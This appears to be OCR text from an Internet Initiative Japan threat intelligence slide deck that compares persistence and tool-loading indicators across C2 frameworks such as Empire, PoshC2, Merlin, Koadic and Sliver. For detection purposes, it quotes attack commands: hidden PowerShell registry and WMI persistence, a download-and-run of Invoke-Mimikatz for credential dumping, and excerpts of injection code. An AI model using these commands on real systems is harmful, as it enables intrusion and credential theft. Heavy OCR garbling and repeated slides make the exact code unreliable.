ab| (Default) REG_SZ (value not set)
#io| ColorSetFromTh... REG_DWORD 0x 00000001 (1)
ab] CurrentTheme REG_SZ C:\Windows\resources\Themes\aero.theme
ab||nstallVisualStyle... REG_SZ NormalColor
ab||nstallVisualStyle.. REG_SZ NormalSize
ab|LastHighContra... REG_EXPAND_SZ %eSystemRoot%\resources\Ease of Access Themes...
ab| SetupVersion REG_SZ 10
#15| ThemeChanges... REG_DWORD 0x 00000001 (1)
sis| ThemeChanges REG DWORD 0x 00000001 (1)
I ""i‘».‘-"allpapt:r"—"_r REG_SZ powershell -exec bypass -Noninteractive -window...

Key

Name

Data

Copyright Internet Initiative Japan Inc.

REEHLVERIC

)wizSafe

HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥ Themes

« Wallpaper555
« Wallpaper666
« Wallpaper777

powershell -exec bypass -Noninteractive -windowstyle hidden -e
<base64 encoded script>
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RE|EHRVERIC

Install-Persistence source code D wizSafe

Function Install-Persistence
{
Param ($Method)
if ($Method){$Method=1}
if ($Method -eq 1) {
Set-ItemProperty -Path
"Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥"
Wallpaper777 -value "$payload"
Set-ItemProperty -Path
"Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥run¥" IEUpdate
-value "C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -
exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -
Path
Registry::HKCU¥Software¥Microsoft¥ Windows¥currentversion¥themes¥).Wallp

Copyright Internet Initiative Japan Inc.


https://github.com/nettitude/PoshC2/blob/master/resources/modules/Stage2-Core.ps1#L152-L158

REEHLVERIC

Indicators ol D wizSafe
ComputerHKEY_CURREMT_USERNSOFTWARE\Microsoft\Windows\ CurrentVersion Run
Mﬂk?'i_“t}'. A1 Mame Type Data

Netifications ab) (Default) REG SZ (value not set)

EZ:ET:;“FIECE a|ﬂIEU;:Jc|E|te REG 57 ChWindows' System 328 WindowsPowerShell'w1.0h powershell.exe -exec bypass -MNonintera

PrecisionTouchPat

Privacy

PushMotifications

RADAR

Run
Key HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Name IEUpdate

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass -

Data Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path

Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

Koadic executes mshta.exe for executing its agent D wizSafe

W Registry Value Data

%AppData%#¥<any filename>.exe

AEYIERAT %Temp%#¥<any filename>.exe
DcRat « %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe
Covenant <any path>
« C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKCU: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Sl Hidden -enc $x"
P « C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKLM: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Hidden -enc $x"
Koadic C:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta
Merlin wscript %cAppData%: <random file name>.vbs
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass -
PoshC2 Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777
Quasar <any path>
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REEHLVERIC

Merlin uses Alternate Data Streams D wizSafe

W Registry Value Data

«  %AppData%¥<any filename>.exe

AEYIERAT %Temp%¥<any filename>.exe
DcRat « %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe
Covenant <any path>
« C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKCU: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Sl Hidden -enc $x"
P « C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKLM: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Hidden -enc $x"
Koadic C:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta
Merlin wscript % AppData%: <random file name>.vbs
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass -
PoshC2 Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777
Quasar <any path>
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Merlin uses Invoke-ADSBackdoor.psl1 for persistence D wizSafe

e Merlinld®T> 1 —JLdDInvoke-ADSBackdoor.pslz B\ Tkt 9
BCENTES
e Invoke-ADSBackdoor.psl(dRun keylZik#e{b 9D

e Invoke-ADSBackdoor.ps1MEITION > RHEHED TL\D T8,
HALICRENT D

Copyright Internet Initiative Japan Inc.
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Focus on Scheduled Task/Job

REEHLVERIC

D wizSafe

echmiue | Count_|Framevork

Registry Run Key/Startup
Folder

9/10

AsyncRAT
Covenant
DcRat
Empire
Koadic
Merlin
PoshC2
Quasar
Sliver

Scheduled Task/Job

7/10

AsyncRAT
DcRat
Empire
Koadic
PoshC2
Quasar
Sliver

Copyright Internet Initiative Japan Inc.
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g REEHLVERIC

Scheduled Task features S wizsafe

e SliverL¥thischtasks.exeEFHWNTHY X IHMERKR =ND
— Sliver(dSharPersist% ||
o (>0 —4
— Task name
— Trigger
— Operation

Copyright Internet Initiative Japan Inc.
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Name and trigger indicator matrix

REEHLVERIC

D wizSafe

Framework [Name ___ _______ [Tggers

AsyncRAT
DcRat
Empire
Koadic
PoshC2
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

<persistence file name>
<persistence file name>
(default) Updater
KOadic

IEUpdate

<any name>

<any name>

onlogon
onlogon
(default) Daily 09:00 AM
onlogon
onlogon
onlogon

« onlogon

« Hourly

« Daily execute from 10:00AM
to 12:00 PM

110



REEHLVERIC

Five framework task names are same as Registry Run key 2 wizSafe

Framework [Name |Tggers

AsyncRAT
DcRat
Empire
Koadic
PoshC2
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

<persistence file name>
<persistence file name>
(default) Updater
KOadic

IEUpdate

<any name>

<any name>

onlogon
onlogon
(default) Daily 09:00 AM
onlogon
onlogon
onlogon

« onlogon

« Hourly

« Daily execute from 10:00AM
to 12:00 PM
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REEHLVERIC

Frameworks other than Empire use onlogon trigger D wizSafe

Framework [Name ___ _______ |Trigges

AsyncRAT
DcRat
Empire
Koadic
PoshC2
Quasar

Sliver

Copyright Internet Initiative Japan Inc.

<persistence file name>
<persistence file name>
(default) Updater
KOadic

IEUpdate

<any name>

<any name>

onlogon

onlogon

(default) Daily 09:00 AM

onlogon
onlogon

onlogon

« onlogon

« Hourly
« Daily execute from 10:00AM
to 12:00 PM
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REEHLVERIC

Operation indicator matrix D wizSafe

I

AsyncRAT
DcRat

Empire

Koadic

PoshC2

Quasar

Sliver

Copyright Internet Initiative Japan Inc.

« %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe

C:¥Windows¥Sy stem32¥WindowsPower Shel¥v1.0¥powershell.exe -Nonl -W hidden -
c ¥'IEX

([Text.Encoding]:: UNICODE. GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))

C:¥Windows¥system32¥mshta.exe C:¥ProgramData¥
<random filename>.hta

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-
ItemProperty -Path

Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

«  %AppData%#¥<(option) any subdir>¥<any filename>.exe
« C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
« C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

<any command line>
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AsyncRAT, DcRat, and Koadic indicators are same as Run

key D wizSafe
Framework Operation
AsyncRAT «  %AppData%¥<any filename>.exe
DcRat +  %Temp%¥<any filename>.exe
C:¥Windows¥Sy stem32¥WindowsPower Shel¥v1.0¥powershell.exe -Nonl -W hidden -
Empire SeAlEX . . .
([Text.Encoding]:: UNICODE. GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))
Koadic C:¥Windows¥system32¥mshta.exe C:¥ProgramData¥
<random filename>.hta
powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-
PoshC2 ItemProperty -Path
Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55
«  %AppData%#¥<(option) any subdir>¥<any filename>.exe
Quasar « C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
« C:¥Program Files¥<(option) any subdir>¥<any filename>.exe
Sliver <any command line>

Copyright Internet Initiative Japan Inc.
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Empire executes agent with Invoke-Expression(IEX) D wizSafe

I

ASyncRAT - %AppData%¥<any filename>.exe
DcRat %Temp%¥<any filename>.exe

C:¥Windows¥Sy stem32¥WindowsPower Shel¥v1.0¥powershell.exe -Nonl -W hidden -
c ¥'IEX

([Text.Encoding]:: UNICODE. GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))

Empire

C:¥Windows¥system32¥mshta.exe C:¥ProgramData¥

Koadic <random filename>.hta

powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-

PoshC2 ItemProperty -Path
Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

«  %AppData%#¥<(option) any subdir>¥<any filename>.exe
Quasar « C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
« C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Sliver <any command line>

Copyright Internet Initiative Japan Inc.
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PoshC2 reads “Wallpaper555” registry value to execute an

D wizSafe
agent
AsyncRAT «  %AppData%¥<any filename>.exe
DcRat +  %Temp%¥<any filename>.exe
C:¥Windows¥Sy stem32¥WindowsPower Shel¥v1.0¥powershell.exe -Nonl -W hidden -
Empire SeAlEX . . .
([Text.Encoding]:: UNICODE. GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))
Koadic C:¥Windows¥system32¥mshta.exe C:¥ProgramData¥
<random filename>.hta
powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-
PoshC2 ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥). Wallpaper5
55
«  %AppData%#¥<(option) any subdir>¥<any filename>.exe
Quasar « C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
« C:¥Program Files¥<(option) any subdir>¥<any filename>.exe
Sliver <any command line>

Copyright Internet Initiative Japan Inc.
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Only three paths for Quasar persistence using

wizSafe
schtasks.exe =
Framework |Operaton
AsyncRAT «  %AppData%¥<any filename>.exe
DcRat +  %Temp%¥<any filename>.exe
C:¥Windows¥Sy stem32¥WindowsPower Shel¥v1.0¥powershell.exe -Nonl -W hidden -
Empire SeAlEX . . .
([Text.Encoding]:: UNICODE. GetString([Convert]::FromBase64String((gp<registry key
path>).<registry name>))
Koadic C:¥Windows¥system32¥mshta.exe C:¥ProgramData¥
<random filename>.hta
powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-
PoshC2 ItemProperty -Path
Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper5
55

«  %AppData%#¥<(option) any subdir>¥<any filename>.exe
Quasar « C:¥Windows¥System32¥<(option) any subdir>¥<any filename>.exe
« C:¥Program Files¥<(option) any subdir>¥<any filename>.exe

Sliver <any command line>

Copyright Internet Initiative Japan Inc.
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Focus on WMI Event Subscription

Technique | Count_| Framework

REEHLVERIC

D wizSafe

« Covenant
L. Empire
WMI Event Subscription 4/10 Koadic
« PoshC2
« Covenant
: : Havoc
Windows Service 4/10 PoshC2
« Sliver
C(_)_mp(_)nent Object Model 1/10 S COVErET:
Hijacking
Image File Execution Options 1/10 . Empire

Injection

Copyright Internet Initiative Japan Inc.
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WMI Event Subscription features D wizSafe

e WMI Event Subscription \OZE xS BIEEERHNNE
e INTHOIL—ALT—IOTWQLAEventFilter(CFIFHENSD
o (2TH—4H

— Name

- Query

Copyright Internet Initiative Japan Inc.
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WMI Event Subscription name and query indicator matrix 2 wizSafe

L

select * from Win32_ProcessStartTrace where

Covenant Ay nelEs ProcessName = ‘<any process name>’;
(default) SELECT * FROM __InstanceModificationEvent
(default) WITHIN 60 WHERE Targetlnstance ISA
Empire g 'Win32_PerfFormattedData_PerfOS_System' AND
Updater Targetlnstance.SystemUpTime >= 240 AND

Targetlnstance.SystemUpTime < 325

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA

Koadic KOadic 'Win32_PerfFormattedData_PerfOS_System' AND
Targetlnstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND Targetinstance.Hour = 10 AND
Targetlnstance.Minute = 30 GROUP WITHIN 60

PoshC2 backup

Copyright Internet Initiative Japan Inc.
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Empire and Koadic subscription names are same as their &
other persistence mechanisms

L

select * from Win32_ProcessStartTrace where

Covenant Ay nelEs ProcessName = ‘<any process name>’;
(default) SELECT * FROM __InstanceModificationEvent
(default) WITHIN 60 WHERE Targetlnstance ISA
Empire g 'Win32_PerfFormattedData_PerfOS_System' AND
Updater Targetlnstance.SystemUpTime >= 240 AND

Targetlnstance.SystemUpTime < 325

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA

Koadic KOadic 'Win32_PerfFormattedData_PerfOS_System' AND
Targetlnstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND Targetinstance.Hour = 10 AND
Targetlnstance.Minute = 30 GROUP WITHIN 60

PoshC2 backup

Copyright Internet Initiative Japan Inc.
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PoshC2 subscription name is "backup™ D wizSafe

L

select * from Win32_ProcessStartTrace where

Covenant Ay nelEs ProcessName = ‘<any process name>’;
(default) SELECT * FROM __InstanceModificationEvent
(default) WITHIN 60 WHERE Targetlnstance ISA
Empire g 'Win32_PerfFormattedData_PerfOS_System' AND
Updater Targetlnstance.SystemUpTime >= 240 AND

Targetlnstance.SystemUpTime < 325

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA

Koadic KOadic 'Win32_PerfFormattedData_PerfOS_System' AND
Targetlnstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND Targetinstance.Hour = 10 AND
Targetlnstance.Minute = 30 GROUP WITHIN 60

PoshC2 backup
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Covenant WMI query uses lower-case letter D wizSafe

L

select * from Win32_ProcessStartTrace where
Covenant Sl nelms = ProcessName = ‘<any process name>’;
(default) SELECT * FROM __InstanceModificationEvent
(default) WITHIN 60 WHERE Targetlnstance ISA
Empire d 'Win32_PerfFormattedData_PerfOS_System' AND
Updater Targetlnstance.SystemUpTime >= 240 AND

Targetlnstance.SystemUpTime < 325

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA

Koadic KOadic 'Win32_PerfFormattedData_PerfOS_System' AND
Targetlnstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND Targetinstance.Hour = 10 AND
Targetlnstance.Minute = 30 GROUP WITHIN 60

PoshC2 backup

Copyright Internet Initiative Japan Inc.
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SharpSploit WMI source code OVl D wizSafe

private static ManagementObject CreateEventFilter(string EventName, EventFilter
EventFilter, string ProcessName) {
ManagementObject _EventFilter = null;
try { WMI Queryld XKXFT/)\—RI—RENTWLS
string query = string.Empty;
If (EventFilter == EventFilter.ProcessStart) {
query = $@"SELECT * FROM|Win32_ProcessStartTrace WHERE

1,

ProcessName='{ProcessName}"”;

_EventFilter = wmiEventFilter.Createlnstance();
_EventFilter["Name"] = EventName;
__EventFilter["Query"] = wql.QueryString;



https://github.com/cobbr/SharpSploit/blob/4bf3d2aa44d73b674867a1d28cc90a3bd54f100f/SharpSploit/Persistence/WMI.cs#L46-L73

REEHLVERIC

Indicators Ol D wizSafe

{&] BEvent Properties - Event 5881, WhMI-Activity b2

General Details

Mamespace = /S root/subscription; Eventfilter = Ewvil Persistence (refer to its activate eventid:38539); Consumer =
CommandLineEventConsumer="Ewil Persistence"”; PossibleCause = Binding EventFilter:
instance of _ EwventFilter

i

CreatorSIDy = {1, 5.0, 0,0,0, 0 5 21,0, 0 0 33 244 234 172 158, 205 114, 230, 122, 34, 135, 161, 83, 4, 0,
0%

EventMamespace = "root/cimw2";

Blarne — "Fuyil Dercjctan-a'-

Cuery = "select * from Win32_ProcessStartTrace where ProcessMame="Cowvenant'"; I

OheryLanguage =  wWelIL ;

Name <any name>

select * from Win32_ProcessStartTrace where ProcessName = ‘<any

uer ,
Q y process name>

Command
Line

Copyright Internet Initiative Japan Inc.

<any command line>
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Empire and Koadic query refer "SystemUpTime" D wizSafe

L

select * from Win32_ProcessStartTrace where

Covenant Ay nelEs ProcessName = ‘<any process name>’;
(default) SELECT * FROM __InstanceModificationEvent
(default) WITHIN 60 WHERE TargetInstance ISA
Empire g 'Win32_PerfFormattedData_PerfOS_System' AND
Updater TargetInstance.SystemUpTime >= 240 AND

Targetlnstance.SystemUpTime < 325;

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA

Koadic KOadic 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND Targetinstance.Hour = 10 AND
Targetlnstance.Minute = 30 GROUP WITHIN 60

PoshC2 backup
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PoshC2 query refers system time D wizSafe

L

select * from Win32_ProcessStartTrace where

Covenant Ay nelEs ProcessName = ‘<any process name>’;
(default) SELECT * FROM __InstanceModificationEvent
(default) WITHIN 60 WHERE Targetlnstance ISA
Empire g 'Win32_PerfFormattedData_PerfOS_System' AND
Updater Targetlnstance.SystemUpTime >= 240 AND

Targetlnstance.SystemUpTime < 325

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA

Koadic KOadic 'Win32_PerfFormattedData_PerfOS_System' AND
Targetlnstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 300";

(default) SELECT * FROM __InstanceModificationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'
AND Targetinstance.Hour = 10 AND
Targetlnstance.Minute = 30 GROUP WITHIN 60

PoshC2 backup
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127



ﬁﬁﬁﬁﬁﬁﬁﬁﬁ

Threat Intelligence
~ Indicators of External Tools Usage ~
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External tools features S wizsSafe

Z<DIL—LD—DEINEY— )L =T 1—)LEUTHIARIEE
— Mimikatzt°Rubeus/q EDEFREEIBEHREFEVY —)LH1Z L)
o HERY—)LOFIRAMNA > —SFELTARY fOJICEFREIND
Bahdd
o JL—LD—DCEDAZH—INED) S —

7
Farem S rramevork

HEBY —)LDAF D> O— R « Merlin
Empire
ShEpY —)LdO— R e
& Merlin
PoshC2

NWEBY —=ILDA > 2T o023 « Sliver
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Merlin downloads external tools from GitHub D wizSafe

e Merlin(@MERY —)LZGitHub NS5 D> O0—-RKR9 3
- CRCH—/) 51X E UL
o S4B —)LIdPowerShell c45 o> O0— R
— PowerShell'y—)LIE5 D> 00— R&(CInvoke-ExpressioncTO— K
- C#Y—)ILIFAF D> O— R&llcsc.exeTO/\AILULTEIT
o —EIY—)LIXZON> RSA 2 DRTE A CTEITICKE
- JOBXRIFERMETNDEEH. AR bOJICEETFREIND
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Invoke-Mimikatz (PowerShell) download commands D wizSafe

"commands": [
“powershell.exe”, GitHub\oYW—)LZ=~5 o> 00—~ U.
"-nop", Invoke-Expression C 31T
"-WindowStyle", "0",

"I[EX (New-Object
Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/BC-
SECURITY/Empire/master/empire/server/data/module source/credentials/Invoke-

Mimikatz.ps1');",
"Invoke-Mimikatz",
"{{DumpCreds.Flag}}",
"{{DumpCerts.Flag}}",
"{{Command}}",
"{{ComputerName}}"

Copyright Internet Initiative Japan Inc.


https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/powershell/powersploit/Invoke-Mimikatz.json#L22-L33

Indicators

REEHLVERIC

D wizSafe

{2] Event Properties - Event 4688, Microsoft Windows security auditing.

General  Details

Process Information:

Mew Process [D: (2014

Mew Process Mame: CAWindows\System32\WindowsPowerShell'w1.0hpowershell.exe
Token Elevation Type: TokenElevationTypeFull (2)

Mandatory Label: Mandatory LabelHigh Mandatory Level

Creator Process |t O 1958

Creator Process Mame; ChUsersibentDesktopt cymerlint data’bintmerlinfgent-Wind ows-x6d.exe

Process Command Line:  C\Windows'System32\WindowsPowerShell\vw1.0hpowershell.exe -nop -
WindowStyle 0 "IEX (New-0Object Met. WebClient). DownloadString( https://raw.githubusercontent.com/BC-
SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1);" Invoke-Mirmikatz "-
Command privilege:debug”

Parent
Process

Command
Line

Copyright Internet Initiative Japan Inc.

<Merlin process>

» powershell.exe -nop -WindowsStyle 0 “IEX (New-Object
Net.WebClient).DownloadString(‘<GitHub URL>’);” <Tool Function>

« powershell.exe -nop -w 0 “IEX (New-Object
Net.WebClient).DownloadString(‘<GitHub URL>’);” <Tool Function>
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RE|EHRVERIC

Seatbelt (C#) download commands D wizSafe

"commands": [
"powershell.exe","-nop", "-w 1", "¥"",

"(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/S
eatbelt/Program.cs’, $env:APPDATA+¥¥¥¥{{FileName.Value}}.cs');",

"$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);",
"$f=($f -replace 'UInt32','uint');",

"$f=($f -replace 'UInt64','ulong’);",

"Set-Content-Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;",

"CE¥E¥Windows ¥¥¥¥EMicrosoft. NE T¥¥¥¥Framework6 4¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe
/unsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe
$env:APPDATA¥:¥¥{{FileName.Value}}.cs;",

"&$env:APPDATA¥¥¥¢{{FileName.Value}}.exe",
<...snip...>
".del $env:APPDATA¥¥¥¥{{FileName.Value}}.*", "¥""

Copyright Internet Initiative Japan Inc.


https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70-L134

RE|EHRVERIC

Seatbelt (C#) download commands D wizSafe

"CommandS" [
"powershell.exe","-nop", "-w 1", "¥"",

"(New-Object
System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/Seatbelt/master/S
eatbelt/Program.cs’, $env:APPDATA+¥¥¥¥{{FileName.Value}}.cs');",

GitHubh'\BYW—)LZ~5 > 00— KU, %AppData%l| /17

Copyright Internet Initiative Japan Inc.
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https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70-L134

Seatbelt (C#) download commands

csc.exe C1>/\1)L

"$f=(Get-Content $env:APPDATA¥¥¥¥{{FileName.Value}}.cs);",
"$f=($f -replace 'UInt32','uint’);",
"$f=($f -replace 'UInt64','ulong’);",

"Set-Content-Path $env:APPDATA¥¥¥¥{{FileName.Value}}.cs $f;",

RE|EHRVERIC

2D wizSafe

"CE¥E¥Windows ¥¥¥¥EMicrosoft. NE T¥¥¥¥Framework6 4¥¥¥¥{{.NetVersion.Value}}¥¥¥¥csc.exe

/lunsafe /nowarn:0649 /out:$env:APPDATA¥¥¥¥{{FileName.Value}}.exe

$env:APPDATA¥¥¥{{FileName.Value}}.cs;",

Copyright Internet Initiative Japan Inc.
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https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70-L134

Seatbelt (C#) download commands

EITRIC T 7 1)L 7= HIBR

$env:APPDATA¥E:¥¥{{FileName.Value}}.cs;",
"&$env:APPDATA¥¥¥¢{{FileName.Value}}.exe",
<...snip...>

"del $env:APPDATAYYY¥{FileName.Value}}.*", "¥""

Copyright Internet Initiative Japan Inc.
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2D wizSafe
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https://github.com/Ne0nd0g/merlin/blob/main/data/modules/windows/x64/csharp/enumeration/Seatbelt.json#L70-L134

REEHLVERIC

Indicators D wizSafe

{4] Event Properties - Event 4688, Microsoft Windows security auditing. *

General Details

Process Information:

MNew Process [D: Ox 1§70

Mew Process Name: C\WindowshSystem32\WindowsPowerShellvw 1.0 powershell exe
Token Elevation Type: TokenElevationTypeFull (2)

Mandatory Label: Mandatory Label\High Mandatory Level

Creator Process ID: (x1958

Creator Process Mame: C:\Users\ben'\Deslktop'.c2\merlintdata\bin\merlinAgent-Windows-x6d.exe

Process Command Line:  C\Windows\System32\WindowsPowerShellw 1.0\ powershell.exe -nop "-w 1" 1" "(New-Object
Systemn.Met.WebClient).DownloadFile(' https://raw.githubusercontent.com/GhostPack/Seatbelt/master/Seatbelt/Program.cs’, 5enviAPPDATA+"\5eatbelt.cs);"
"8f=(Get-Content Senv:APPDATAV\ Seatbelt.cs)," "5f=(5f -replace 'UInt32",'uint’);" "5f=(5f -replace 'UInt6d’ 'ulong');" "Set-Content -Path SenviAPPDATA
‘WSeatbelt.cs 5" "o\\Windows\\ Microsoft. MET\\Frameworked\\wd "\ cec.exe funsafe /nowarn:0849 fout:Senv: APPDATAN Seatbelt.exe Senv: APPDATA
"Seatbelt.cs:" &Senvi APPDATA Seatbelt.exe "del Senv: APPDATAN Seatbelt.™ \"

Parent
Process

<Merlin process>

Command  powershell.exe -nop "-w 1" ¥" "(New-Object Net.WebClient).Download String (‘<Github
Line URL>', $env:APPDATA+¥¥<Filename>.cs <...snip...>

Copyright Internet Initiative Japan Inc.
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Load PowerShell tools JENeE D wizSafe

e Empire, Merlin, PoshC2 (3%t &BPowerShelly —)LZzFIFH9 S
- Invoke-Mimikatz, Invoke-Inveigh, etc -

e O— RE&NJzPowerShellV—)LIFA > ~rOJI(CEEERETND
— PowerShell'y —)LDREEEN 1 > =40 —45 & U THIFAEEE

o (2 —SFEUTHRATEIEERY X MEIAppendix(CEeEk

Copyright Internet Initiative Japan Inc.
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Indicators LN D wizSate

@ Event Properties - Event 4104, PowerShell (Microsoft-Windows-Powershell) >

General  Details

Creating Scriptblock text (1 of 279):
function Invoke-Mimikatz |

i
«fF

SYMNOPSIS

This script leverages Mimikatz 2.2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely
in memory. This allows you to do things such as
durmp credentials without ever writing the mimikatz binary to disk.

« Invoke-Mimikatz
powercat

Script
block

Copyright Internet Initiative Japan Inc.
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Sliver process injection feature SINVEIl D wizSafe

e Sliver(&Process Injection(CKDC#WY—)L=ZFET
- T JAJ)L MMdnotepad.exeN 1> o3 3> 5%

windowsDefaultHostProc = "c:¥windows¥system32¥notepad.exe

https://github.com/BishopFox/sliver/blob/master/client/command/alias/load.go#1 49

- AT 3> TEEDALY REULTERITEAEE
e Sliver(&Process Injection TCreateRemoteThread’z #!
- CreateRemoteThread(dSysmon CTEZfRAJ&E

Copyright Internet Initiative Japan Inc.
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https://github.com/BishopFox/sliver/blob/master/client/command/alias/load.go#L49

C# tool process injection source code Sliver

func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32)
(string, error) {

<...snhip...>
cmd, err ;= startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)
<...snip...>

handle, err := windows.OpenProcess(syscalls.PROCESS DUP_HANDLE, true,
uint32(pid))

<...snip...>

err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle,
&lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)

<...snip...>
threadHandle, err :=injectTask(lpTargetHandle, data, false)
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https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L293-L344

RE|EHRVERIC

C# Tool Process Injection source code SIIEIl D wizSafe

cmd, err :=/startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)

122120232570 L.
C#Y—IL&eA>2>T0>329D

threadHandle, err := injectTask(lpTargetHandle, data, false)

Copyright Internet Initiative Japan Inc.
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https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L293-L344

Indicators

REEHLVERIC

Parent _

Process <Sliver process>

Command _

Line (default) c:¥windows¥system32¥notepad.exe

Copyright Internet Initiative Japan Inc.

S\l D wizSafe
14| Event Properties - Event 4688, Microsoft Windows security auditing. o
General Details
Process Information:
Mew Process D O 12f4
Mew Process Name: ChProgram Files\WindowsAppsiMicrosoft. WindowsMNotepad_11.2311.33.0_x64
_ Bwekyb3d8bbwe\Notepad\Notepad.exe
Token Elevation Type: TokenElevationTypeLimited (3)
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process |D: (Ox3el
Creator Process Mame: ChUsers\ben\Desktop\c\sliver\sliver.exe\sliver.exe
Process Command Line:  clwindows'system 32 notepad.exe "
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Shellcode injection source code Sliver

func RemoteTask(processID int, data [|byte, rwxPages bool) error {
var IpTargetHandle windows.Handle
<...snip...>

processHandle, err := windows.OpenProcess(syscalls.PROCESS DUP_HANDLE,
false, uint32(processiD))

<...snip...>

err = windows.DuplicateHandle(processHandle, currentProcHandle,
